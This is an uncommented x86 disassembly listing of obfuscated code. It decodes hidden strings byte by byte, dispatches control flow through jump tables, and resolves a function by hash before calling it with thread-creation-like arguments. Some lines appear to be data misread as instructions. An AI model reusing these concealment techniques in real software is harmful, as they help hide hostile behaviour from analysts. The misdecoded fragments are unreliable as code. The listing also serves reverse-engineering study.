mov byte [edi + 2], 0xc6
mov eax, 3
mov byte [edi + eax], 0
add eax, 1
cmp eax, 6
jne 0x416bda
mov dword [esi + 0xc8], 0
mov eax, dword [esi + 0xc8]
cmp eax, 6
jae 0x416c35
mov eax, dword [esi + 0xc8]
mov ecx, dword [esi + 0xc8]
movzx ecx, byte [edi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004194e0
add esp, 8
mov ecx, dword [esi + 0xc8]
mov byte [edi + ecx], al
mov eax, dword [esi + 0xc8]
inc eax
mov dword [esi + 0xc8], eax
jmp 0x416bf0
sub esp, 8
mov eax, dword [esi + 0xc]
mov dword [esp], eax
mov dword [esp + 4], edi
call fcn.00404480
add esp, 8
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0x1f4]
mov al, byte [eax]
mov byte [esi + 0x1a4], al
mov edx, dword [esi + 0x10c]
mov byte [edx], 0xe7
mov byte [edx + 1], 0xd5
mov byte [edx + 2], 0x46
mov eax, 3
mov byte [edx + eax], 0
add eax, 1
cmp eax, 7
jne 0x416c71
mov dword [esi + 0xd0], 0
mov eax, dword [esi + 0xd0]
cmp eax, 7
jae 0x416cd2
mov eax, dword [esi + 0xd0]
mov ecx, dword [esi + 0xd0]
movzx ecx, byte [edx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419520
mov edx, dword [esi + 0x10c]
add esp, 8
mov ecx, dword [esi + 0xd0]
mov byte [edx + ecx], al
mov eax, dword [esi + 0xd0]
inc eax
mov dword [esi + 0xd0], eax
jmp 0x416c87
sub esp, 8
mov dword [esp + 4], edx
mov eax, dword [esi + 0xc]
mov dword [esp], eax
call fcn.00404480
add esp, 8
mov dword [esi + 0x14], eax
mov dword [esi + 0x6c8], 1
mov eax, dword [esi + 0x6cc]
mov ecx, dword [esi + 0x6c8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x848], 0
mov eax, dword [esi + 0x84c]
mov ecx, dword [esi + 0x848]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x5d0]
mov ecx, dword [esi + 0x5d4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040df00
mov ecx, dword [esi + 0x1e0]
xor ecx, 1
mov edx, dword [esi + 0x38]
xor edx, 2
xor eax, eax
cmp byte [ebx - 0x3fcefd0e], al
or ecx, edx
sete cl
mov dword [esi + 0x5f8], 0
mov edx, dword [esi + 0x5fc]
mov edi, dword [esi + 0x5f8]
mov edx, dword [edx + edi*4]
jmp edx
mov eax, dword [0x874812b1]
cwde
jbe 0x416d46
mov al, byte [esi + 0x24]
mov byte [esi + 0x164], al
mov byte [esi + 0xf4], 0x7d
mov byte [esi + 0xf5], 9
mov eax, 2
mov edi, dword [esi + 0xc]
mov byte [esi + eax + 0xf4], 0
add eax, 1
cmp eax, 5
jne 0x416d93
mov dword [esi + 0x98], 0
mov eax, dword [esi + 0x98]
cmp eax, 5
jae 0x416dfa
mov eax, dword [esi + 0x98]
mov ecx, dword [esi + 0x98]
movzx ecx, byte [esi + ecx + 0xf4]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004192f0
add esp, 8
mov ecx, dword [esi + 0x98]
mov byte [esi + ecx + 0xf4], al
mov eax, dword [esi + 0x98]
inc eax
mov dword [esi + 0x98], eax
jmp 0x416dad
lea eax, [esi + 0xf4]
sub esp, 8
mov dword [esp], edi
mov dword [esp + 4], eax
call fcn.00404480
add esp, 8
mov ebx, eax
mov al, byte [esi + 0x20]
mov byte [esi + 0x16c], al
mov byte [esi + 0x40], 0xae
mov byte [esi + 0x41], 0x9d
mov byte [esi + 0x42], 0x12
mov eax, 3
mov byte [esi + eax + 0x40], 0
add eax, 1
cmp eax, 6
jne 0x416e2e
mov dword [esi + 0xa0], 0
mov eax, dword [esi + 0xa0]
cmp eax, 6
jae 0x416e8c
mov eax, dword [esi + 0xa0]
mov ecx, dword [esi + 0xa0]
movzx ecx, byte [esi + ecx + 0x40]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419330
add esp, 8
mov ecx, dword [esi + 0xa0]
mov byte [esi + ecx + 0x40], al
mov eax, dword [esi + 0xa0]
inc eax
mov dword [esi + 0xa0], eax
jmp 0x416e45
lea eax, [esi + 0x40]
sub esp, 8
mov dword [esp], edi
mov dword [esp + 4], eax
call fcn.004044e0
fstp st(0)
add esp, 8
mov al, byte [esi + 0x1c]
mov byte [esi + 0x174], al
mov byte [esi + 0xec], 0x1b
mov byte [esi + 0xed], 0xe7
mov eax, 2
mov byte [esi + eax + 0xec], 0
add eax, 1
cmp eax, 6
jne 0x416ebf
mov dword [esi + 0xa8], 0
mov eax, dword [esi + 0xa8]
cmp eax, 6
jae 0x416f26
mov eax, dword [esi + 0xa8]
mov ecx, dword [esi + 0xa8]
movzx ecx, byte [esi + ecx + 0xec]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419350
add esp, 8
mov ecx, dword [esi + 0xa8]
mov byte [esi + ecx + 0xec], al
mov eax, dword [esi + 0xa8]
inc eax
mov dword [esi + 0xa8], eax
jmp 0x416ed9
lea eax, [esi + 0xec]
sub esp, 8
mov dword [esp], edi
mov dword [esp + 4], eax
call fcn.004044e0
fstp st(0)
add esp, 8
lea edi, [esi + 0x8f0]
add edi, 0x800
sub esp, 4
mov dword [esp], ebx
call fcn.0040c5e0
add esp, 4
mov edx, ebx
mov ecx, ebx
add ecx, eax
mov dword [esi + 0x218], 0
lea ebx, [esi + 0x8f0]
mov eax, edi
add eax, 0xfffffffe
cmp ebx, eax
mov eax, dword [esi + 0x3c]
jae 0x416fcd
cmp edx, ecx
jae 0x416fcd
cmp byte [edx], 0
je 0x416fcd
lea eax, [esi + 0x218]
sub esp, 0xc
mov dword [esi + 0x230], edx
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esi + 0x254], ecx
call fcn.00410690
add esp, 0xc
mov edx, dword [esi + 0x230]
add edx, eax
mov eax, dword [esi + 0x218]
mov ecx, ebx
add ecx, 2
mov word [ebx], ax
mov ebx, ecx
mov ecx, dword [esi + 0x254]
jmp 0x416f70
mov word [ebx], 0
sub esp, 0xc
mov dword [esp + 8], eax
mov eax, dword [esi]
mov dword [esp + 4], eax
lea eax, [esi + 0x8f0]
mov dword [esp], eax
call fcn.0040f080
add esp, 0xc
mov eax, dword [esi + 0x398]
mov ecx, dword [esi + 0x39c]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esi + 0x23c], edi
mov edi, edx
call fcn.0040cb30
mov ecx, eax
mov edx, 0x38e38e39
mov eax, ecx
imul edx
mov eax, edx
shr eax, 0x1f
sar edx, 3
add edx, eax
shl edx, 2
lea eax, [edx + edx*8]
neg eax
movsx eax, byte [ecx + eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov edx, dword [esi + 0x23c]
mov ecx, edx
add ecx, 2
mov word [edx], ax
inc edi
mov eax, dword [esi + 0x758]
mov edx, dword [esi + 0x75c]
mov eax, dword [edx + eax*4]
mov edx, edi
mov edi, ecx
jmp eax
mov eax, dword [esi + 0x450]
mov ecx, dword [esi + 0x454]
mov eax, dword [ecx + eax*4]
jmp eax
mov edx, dword [esi + 0x550]
mov ecx, dword [esi + 0x554]
mov ecx, dword [ecx + edx*4]
jmp ecx
and al, 0x7b
enter 0xffffffffffff8b14, 0xffffffffffffff86
sbb byte [ebx], al
add byte [eax], al
mov ecx, dword [esi + 0x31c]
mov eax, dword [ecx + eax*4]
jmp eax
mov byte [esi + 0x31], bl
mov eax, dword [esi + 0x2d4]
add eax, 9
add eax, dword [esi + 0x118]
mov ecx, eax
and ecx, edx
shl ecx, 1
mov dword [esi + 0x288], edx
xor eax, edx
add eax, ecx
mov ecx, eax
and ecx, 1
shl ecx, 1
xor eax, 1
add eax, ecx
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x41713c
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.0040c470
add esp, 4
mov ebx, eax
mov eax, dword [esi + 0x2a0]
mov al, byte [eax]
mov byte [esi + 0x1a8], al
mov byte [edi], 0xb6
mov byte [edi + 1], 0x39
mov byte [edi + 2], 0xbb
mov byte [edi + 3], 0x37
mov byte [edi + 4], 0xc6
mov byte [edi + 5], 0x35
mov byte [edi + 6], 0xce
mov byte [edi + 7], 0x33
mov byte [edi + 8], 0xc4
mov byte [edi + 9], 0x31
mov byte [edi + 0xa], 0x3a
mov byte [edi + 0xb], 0xcf
mov byte [edi + 0xc], 3
mov byte [edi + 0xd], 0xcd
mov byte [edi + 0xe], 4
mov byte [edi + 0xf], 0xcb
mov byte [edi + 0x10], 0xc8
mov byte [edi + 0x11], 0xc9
mov eax, 0x12
mov byte [edi + eax], 0
add eax, 1
cmp eax, 0x15
jne 0x4171a6
mov dword [esi + 0xd8], 0
mov eax, dword [esi + 0xd8]
cmp eax, 0x15
jae 0x417201
mov eax, dword [esi + 0xd8]
mov ecx, dword [esi + 0xd8]
movzx ecx, byte [edi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419550
add esp, 8
mov ecx, dword [esi + 0xd8]
mov byte [edi + ecx], al
mov eax, dword [esi + 0xd8]
inc eax
mov dword [esi + 0xd8], eax
jmp 0x4171bc
sub esp, 8
mov dword [esp + 4], edi
mov dword [esi + 8], ebx
mov dword [esp], ebx
call fcn.0040f040
add esp, 8
mov word [eax], 0x20
mov ecx, eax
add ecx, 4
mov word [eax + 2], 0x22
sub esp, 8
mov edi, dword [esi + 4]
mov dword [esp + 4], edi
add al, 0x66
mov dword [eax + 2], 0xec830022
or byte [ebx + 0x7c89047e], cl
and al, 4
mov dword [esp], ecx
call fcn.0040f040
add esp, 8
mov ebx, eax
add ebx, 2
mov word [eax], 0x22
mov dword [esi + 0x668], 0
mov eax, dword [esi + 0x66c]
mov ecx, dword [esi + 0x668]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x600], 0
mov eax, dword [esi + 0x604]
mov ecx, dword [esi + 0x600]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x828]
mov ecx, dword [esi + 0x82c]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esi]
jmp eax
out dx, al
inc ecx
add dword [edx], ebp
lds esi, [ecx]
js 0x41721f
in al, dx
add al, 0x89
cmp al, 0x24
call fcn.0040c480
add esp, 4
mov eax, dword [esi + 0x350]
mov ecx, dword [esi + 0x354]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x128]
mov eax, dword [eax]
mov dword [esi + 0x284], eax
mov al, byte [esi + 0x140]
mov byte [esi + 0x1d8], al
mov byte [esi + 0x4c], 0x9b
mov byte [esi + 0x4d], 0x9a
mov byte [esi + 0x4e], 0x9d
mov byte [esi + 0x4f], 0x9c
mov dword [esi + 0x68], 0
mov eax, dword [esi + 0x68]
cmp eax, 4
jae 0x417320
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x68]
movzx ecx, byte [esi + ecx + 0x4c]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419200
add esp, 8
mov ecx, dword [esi + 0x68]
mov byte [esi + ecx + 0x4c], al
mov eax, dword [esi + 0x68]
inc eax
mov dword [esi + 0x68], eax
jmp 0x4172eb
mov ecx, dword [esi + 0x4c]
xor edi, edi
cmp edi, dword [0x44e374]
jb 0x41732f
jmp 0x417398
mov eax, dword [0x44e378]
cmp dword [eax + edi*8], 0x625b6034
sete bl
test bl, 1
jne 0x417345
jmp 0x417383
mov eax, dword [eax + edi*8 + 4]
cmp eax, ecx
je 0x417383
mov dword [esi + 0x274], ecx
mov ecx, dword [0x44e37c]
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 1
mov eax, dword [esi + 0x284]
mov dword [esp + 0xc], eax
call fcn.0043e4b0
mov ecx, dword [esi + 0x274]
add esp, 0x10
test bl, 1
je 0x41738a
jmp 0x417398
mov eax, edi
xor eax, 1
shl edi, 1
and edi, 2
add edi, eax
jmp 0x417325
mov eax, dword [esi + 0x340]
mov ecx, dword [esi + 0x344]
mov eax, dword [ecx + eax*4]
jmp eax
mov edi, ebx
add edi, 2
mov word [ebx], 0x2c
mov eax, dword [esi + 0x288]
shl eax, 1
mov ecx, edi
add ecx, eax
mov dword [esi + 0x248], ecx
sub esp, 4
mov ebx, dword [esi + 0x14]
mov dword [esp], ebx
call fcn.0040c5e0
add esp, 4
mov ecx, ebx
add ecx, eax
mov dword [esi + 0x220], 0
mov eax, dword [esi + 0x248]
add eax, 0xfffffffe
cmp edi, eax
jae 0x417440
cmp dword [esi + 0x14], ecx
jae 0x417440
mov eax, dword [esi + 0x14]
cmp byte [eax], 0
je 0x417440
lea eax, [esi + 0x220]
sub esp, 0xc
mov ebx, edi
mov edi, dword [esi + 0x14]
mov dword [esp], edi
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esi + 0x238], ecx
call fcn.00410690
add esp, 0xc
add edi, eax
mov dword [esi + 0x14], edi
mov eax, dword [esi + 0x220]
mov edi, ebx
add edi, 2
mov word [ebx], ax
mov ecx, dword [esi + 0x238]
jmp 0x4173e4
mov word [edi], 0
mov eax, dword [esi + 0x640]
mov ecx, dword [esi + 0x644]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x7c8], 0
mov eax, dword [esi + 0x7cc]
mov ecx, dword [esi + 0x7c8]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x2d0]
jmp eax
mov eax, dword [esi + 0x6c0]
mov ecx, dword [esi + 0x6c4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x5e0], 0
mov eax, dword [esi + 0x5e4]
mov ecx, dword [esi + 0x5e0]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
mov edx, dword [esi + 8]
test edx, edx
sete al
mov dword [esi + 0x418], eax
mov eax, dword [esi + 0x41c]
mov ecx, dword [esi + 0x418]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x2b8]
mov al, byte [eax]
mov byte [esi + 0x18c], al
mov edx, dword [esi + 0x200]
mov byte [edx], 0x2e
mov byte [edx + 1], 0xfb
mov byte [edx + 2], 0x11
mov byte [edx + 3], 0xf9
mov byte [edx + 4], 0x60
mov byte [edx + 5], 0xe7
mov byte [edx + 6], 0xd
mov byte [edx + 7], 0xe5
mov byte [edx + 8], 0xe4
mov byte [edx + 9], 0xe3
mov eax, 0xa
mov byte [edx + eax], 0
add eax, 1
cmp eax, 0xe
jne 0x41750e
mov eax, dword [esi + 0x750]
mov ecx, dword [esi + 0x754]
mov eax, dword [ecx + eax*4]
mov edi, dword [esi + 4]
jmp eax
sahf
stc
push eax
out dx, al
mov eax, dword [esi + 0x20c]
mov al, byte [eax]
mov byte [esi + 0x17c], al
mov byte [ebx], 0xe8
mov byte [ebx + 1], 0x79
mov eax, 2
mov edi, ebx
mov byte [edi + eax], 0
add eax, 1
cmp eax, 8
jne 0x41754e
mov dword [esi + 0xb0], 0
mov ebx, dword [esi + 0xc]
mov eax, dword [esi + 0xb0]
cmp eax, 8
jae 0x4175ac
mov eax, dword [esi + 0xb0]
mov ecx, dword [esi + 0xb0]
movzx ecx, byte [edi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419370
add esp, 8
mov ecx, dword [esi + 0xb0]
mov byte [edi + ecx], al
mov eax, dword [esi + 0xb0]
inc eax
mov dword [esi + 0xb0], eax
jmp 0x417567
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.00404480
add esp, 8
mov eax, dword [esi + 0x388]
mov ecx, dword [esi + 0x38c]
mov eax, dword [ecx + eax*4]
mov ebx, edi
jmp eax
mov al, byte [esi + 0x2e]
mov bl, al
and ebx, 1
mov dword [esi + 0x468], ebx
mov eax, dword [esi + 0x46c]
mov ecx, dword [esi + 0x468]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 4]
jmp eax
call fcn.0040df00
xor eax, eax
test ebx, ebx
sete cl
mov dword [esi + 0x440], 1
mov edx, dword [esi + 0x444]
mov edi, dword [esi + 0x440]
mov edx, dword [edx + edi*4]
jmp edx
xor eax, eax
mov ecx, edx
sub ecx, 1
sete al
mov dword [esi + 0x738], eax
mov eax, dword [esi + 0x73c]
mov ecx, dword [esi + 0x738]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x1e8]
mov eax, dword [eax]
mov dword [esi + 0x27c], eax
mov al, byte [esi + 0x144]
mov byte [esi + 0x1d4], al
mov byte [esi + 0x50], 0x9b
mov byte [esi + 0x51], 0x9a
mov byte [esi + 0x52], 0x9d
mov byte [esi + 0x53], 0x9c
mov dword [esi + 0x6c], 0
mov eax, dword [esi + 0x6c]
cmp eax, 4
jae 0x4176a1
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x6c]
movzx ecx, byte [esi + ecx + 0x50]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419200
add esp, 8
mov ecx, dword [esi + 0x6c]
mov byte [esi + ecx + 0x50], al
mov eax, dword [esi + 0x6c]
inc eax
mov dword [esi + 0x6c], eax
jmp 0x41766c
mov ecx, dword [esi + 0x50]
xor edi, edi
cmp edi, dword [0x44e374]
jb 0x4176b0
jmp 0x417719
mov eax, dword [0x44e378]
cmp dword [eax + edi*8], 0x625b6034
sete bl
test bl, 1
jne 0x4176c6
jmp 0x417704
mov eax, dword [eax + edi*8 + 4]
cmp eax, ecx
je 0x417704
mov dword [esi + 0x268], ecx
mov ecx, dword [0x44e37c]
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 1
mov eax, dword [esi + 0x27c]
mov dword [esp + 0xc], eax
call fcn.0043e4b0
mov ecx, dword [esi + 0x268]
add esp, 0x10
test bl, 1
je 0x41770b
jmp 0x417719
mov eax, edi
xor eax, 1
shl edi, 1
and edi, 2
add edi, eax
jmp 0x4176a6
mov eax, dword [esi + 0x4c8]
mov ecx, dword [esi + 0x4cc]
mov eax, dword [ecx + eax*4]
jmp eax
cwde
cmp eax, 0x27dc9420
test al, 0xad
mov eax, dword [esi + 0x330]
mov ecx, dword [esi + 0x334]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esi + 8], ebx
mov eax, dword [esi + 0x5c8]
mov ecx, dword [esi + 0x5cc]
mov eax, dword [ecx + eax*4]
xor ebx, ebx
jmp eax
mov eax, dword [esi + 0x4a8]
mov ecx, dword [esi + 0x4ac]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x498], 1
mov eax, dword [esi + 0x49c]
mov ecx, dword [esi + 0x498]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x488]
mov ecx, dword [esi + 0x48c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x818], 0
mov eax, dword [esi + 0x81c]
mov ecx, dword [esi + 0x818]
mov eax, dword [eax + ecx*4]
jmp eax
or al, 0x7e
lodsb al, byte [esi]
dec dword [ebx + 0x35886]
add byte [ebx + 0x35c8e], cl
add byte [ebx - 0x1f007efc], cl
call fcn.0040df00
mov dword [esi + 0x518], 0
mov eax, dword [esi + 0x51c]
mov ecx, dword [esi + 0x518]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x790]
mov ecx, dword [esi + 0x794]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 8
mov eax, dword [esi + 0x120]
mov dword [esp], eax
mov dword [esp + 4], edi
call fcn.00404770
add esp, 8
mov ebx, eax
mov al, byte [esi + 0x28]
mov byte [esi + 0x158], al
mov byte [esi + 0xfc], 0xd5
mov byte [esi + 0xfd], 0x41
mov eax, 2
mov byte [esi + eax + 0xfc], 0
add eax, 1
cmp eax, 5
jne 0x417a24
mov dword [esi + 0x84], 0
mov eax, dword [esi + 0x84]
cmp eax, 5
jae 0x417a8b
mov eax, dword [esi + 0x84]
mov ecx, dword [esi + 0x84]
movzx ecx, byte [esi + ecx + 0xfc]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419240
add esp, 8
mov ecx, dword [esi + 0x84]
mov byte [esi + ecx + 0xfc], al
mov eax, dword [esi + 0x84]
inc eax
mov dword [esi + 0x84], eax
jmp 0x417a3e
sub esp, 0xc
lea eax, [esi + 0xfc]
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 8], 2
call fcn.00404700
add esp, 0xc
xor ecx, ecx
test eax, eax
setne al
mov dword [esi + 0x878], 1
mov edx, dword [esi + 0x87c]
mov dword [esi + 0x18], edi
mov edi, dword [esi + 0x878]
mov edx, dword [edx + edi*4]
mov edi, dword [esi + 0x18]
jmp edx
call fcn.0040df00
sub esp, 4
mov dword [esp], edi
call fcn.0043b5c0
add esp, 4
mov dword [esi + 0x458], 0
mov eax, dword [esi + 0x45c]
mov ecx, dword [esi + 0x458]
mov eax, dword [eax + ecx*4]
jmp eax
mov cl, al
and ecx, 1
mov dword [esi + 0x870], ecx
mov eax, dword [esi + 0x874]
mov ecx, dword [esi + 0x870]
mov eax, dword [eax + ecx*4]
jmp eax
inc esp
cmp byte [edx], bh
or byte [edx - 0x743b0bd5], bh
xchg byte [eax - 0x74fffffd], ah
mov fs, word [ebx + eax + 0x48b0000]
cmp edi, 0x4ec83e0
sub esp, 4
sub esp, 4
mov eax, dword [esi + 0x10]
mov dword [esp], eax
call fcn.0040c5e0
add esp, 4
inc eax
mov dword [esi + 0x118], eax
mov eax, dword [esi + 0x680]
mov ecx, dword [esi + 0x684]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [0x44e368]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46483752
call fcn.004411b0
add esp, 8
cmp eax, 0
setne cl
test cl, 1
jne 0x417c18
test cl, 1
jne 0x417c1f
xor eax, eax
mov ecx, dword [esi]
mov ecx, dword [ecx]
sub esp, 0x18
mov dword [esp + 0xc], ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0x422040
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
xor ecx, ecx
test eax, eax
setne cl
mov dword [esi + 0x558], ecx
mov edx, dword [esi + 0x55c]
mov ecx, dword [esi + 0x558]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov al, cl
and eax, 1
mov dword [esi + 0x438], eax
mov eax, dword [esi + 0x43c]
mov ecx, dword [esi + 0x438]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi + 0x18]
jmp eax
mov eax, dword [esi + 0x530]
mov ecx, dword [esi + 0x534]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040df00
push eax
mov ebx, esp
push eax
mov edx, esp
mov dword [esi + 0x8d8], 1
mov eax, dword [esi + 0x8dc]
mov ecx, dword [esi + 0x8d8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x128]
mov eax, dword [eax]
mov dword [esi + 0x280], eax
mov al, byte [esi + 0x14c]
mov byte [esi + 0x1cc], al
mov byte [esi + 0x58], 0x9b
mov byte [esi + 0x59], 0x9a
mov byte [esi + 0x5a], 0x9d
mov byte [esi + 0x5b], 0x9c
mov dword [esi + 0x74], 0
mov eax, dword [esi + 0x74]
cmp eax, 4
jae 0x417d73
mov eax, dword [esi + 0x74]
mov ecx, dword [esi + 0x74]
movzx ecx, byte [esi + ecx + 0x58]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419200
add esp, 8
mov ecx, dword [esi + 0x74]
mov byte [esi + ecx + 0x58], al
mov eax, dword [esi + 0x74]
inc eax
mov dword [esi + 0x74], eax
jmp 0x417d3e
mov ecx, dword [esi + 0x58]
xor edi, edi
cmp edi, dword [0x44e374]
jb 0x417d82
jmp 0x417deb
mov eax, dword [0x44e378]
cmp dword [eax + edi*8], 0x625b6034
sete bl
test bl, 1
jne 0x417d98
jmp 0x417dd6
mov eax, dword [eax + edi*8 + 4]
cmp eax, ecx
je 0x417dd6
mov dword [esi + 0x270], ecx
mov ecx, dword [0x44e37c]
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 1
mov eax, dword [esi + 0x280]
mov dword [esp + 0xc], eax
call fcn.0043e4b0
mov ecx, dword [esi + 0x270]
add esp, 0x10
test bl, 1
je 0x417ddd
jmp 0x417deb
mov eax, edi
xor eax, 1
shl edi, 1
and edi, 2
add edi, eax
jmp 0x417d78
mov dword [esi + 0x570], 0
mov eax, dword [esi + 0x574]
mov ecx, dword [esi + 0x570]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x610]
mov ecx, dword [esi + 0x614]
mov ecx, dword [ecx + eax*4]
xor eax, eax
jmp ecx
mov cl, al
and ecx, 1
mov dword [esi + 0x7b8], ecx
mov eax, dword [esi + 0x7bc]
mov ecx, dword [esi + 0x7b8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x3a8]
mov ecx, dword [esi + 0x3ac]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esi + 0x620], eax
mov eax, dword [esi + 0x624]
mov ecx, dword [esi + 0x620]
mov eax, dword [eax + ecx*4]
mov dword [esi + 8], 0
mov edi, dword [esi + 0x18]
jmp eax
popfd
fdiv dword [ebp - 0x7e]
mov eax, dword [esi + 0x328]
mov ecx, dword [esi + 0x32c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x4f8]
mov ecx, dword [esi + 0x4fc]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esi + 0x24]
mov byte [esi + 0x168], al
mov byte [esi + 0xf4], 0x7d
mov byte [esi + 0xf5], 9
mov eax, 2
mov edi, dword [esi + 0xc]
mov byte [esi + eax + 0xf4], 0
add eax, 1
cmp eax, 5
jne 0x417efe
mov dword [esi + 0x94], 0
mov eax, dword [esi + 0x94]
cmp eax, 5
jae 0x417f65
mov eax, dword [esi + 0x94]
mov ecx, dword [esi + 0x94]
movzx ecx, byte [esi + ecx + 0xf4]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004192f0
add esp, 8
mov ecx, dword [esi + 0x94]
mov byte [esi + ecx + 0xf4], al
mov eax, dword [esi + 0x94]
inc eax
mov dword [esi + 0x94], eax
jmp 0x417f18
lea eax, [esi + 0xf4]
sub esp, 8
mov dword [esp], edi
mov dword [esp + 4], eax
call fcn.00404480
add esp, 8
mov ebx, eax
mov al, byte [esi + 0x20]
mov byte [esi + 0x170], al
mov byte [esi + 0x40], 0xae
mov byte [esi + 0x41], 0x9d
mov byte [esi + 0x42], 0x12
mov eax, 3
mov byte [esi + eax + 0x40], 0
add eax, 1
cmp eax, 6
jne 0x417f99
mov dword [esi + 0x9c], 0
mov eax, dword [esi + 0x9c]
cmp eax, 6
jae 0x417ff7
mov eax, dword [esi + 0x9c]
mov ecx, dword [esi + 0x9c]
movzx ecx, byte [esi + ecx + 0x40]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419330
add esp, 8
mov ecx, dword [esi + 0x9c]
mov byte [esi + ecx + 0x40], al
mov eax, dword [esi + 0x9c]
inc eax
mov dword [esi + 0x9c], eax
jmp 0x417fb0
sub esp, 8
lea eax, [esi + 0x40]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.004044e0
add esp, 8
fnstcw word [esi + 0x106]
movzx eax, word [esi + 0x106]
or eax, 0xc00
mov word [esi + 0x1de], ax
fldcw word [esi + 0x1de]
fistp dword [esi + 0x2dc]
fldcw word [esi + 0x106]
mov ecx, dword [esi + 0x2dc]
mov al, byte [esi + 0x1c]
mov byte [esi + 0x178], al
mov byte [esi + 0xec], 0x1b
mov byte [esi + 0xed], 0xe7
mov eax, 2
mov byte [esi + eax + 0xec], 0
add eax, 1
cmp eax, 6
jne 0x418059
mov dword [esi + 0x38], ecx
mov dword [esi + 0xa4], 0
mov eax, dword [esi + 0xa4]
cmp eax, 6
jae 0x4180c3
mov eax, dword [esi + 0xa4]
mov ecx, dword [esi + 0xa4]
movzx ecx, byte [esi + ecx + 0xec]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419350
add esp, 8
mov ecx, dword [esi + 0xa4]
mov byte [esi + ecx + 0xec], al
mov eax, dword [esi + 0xa4]
inc eax
mov dword [esi + 0xa4], eax
jmp 0x418076
sub esp, 8
lea eax, [esi + 0xec]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.004044e0
add esp, 8
fnstcw word [esi + 0x104]
movzx eax, word [esi + 0x104]
or eax, 0xc00
mov word [esi + 0x1dc], ax
fldcw word [esi + 0x1dc]
fistp dword [esi + 0x2d8]
fldcw word [esi + 0x104]
mov eax, dword [esi + 0x2d8]
mov dword [esi + 0x1e0], eax
lea edi, [esi + 0x8f0]
add edi, 0x800
sub esp, 4
mov dword [esp], ebx
call fcn.0040c5e0
add esp, 4
mov edx, ebx
mov ecx, ebx
add ecx, eax
mov dword [esi + 0x22c], 0
lea ebx, [esi + 0x8f0]
mov eax, edi
add eax, 0xfffffffe
cmp ebx, eax
mov eax, dword [esi + 0x3c]
jae 0x41819f
cmp edx, ecx
jae 0x41819f
cmp byte [edx], 0
je 0x41819f
lea eax, [esi + 0x22c]
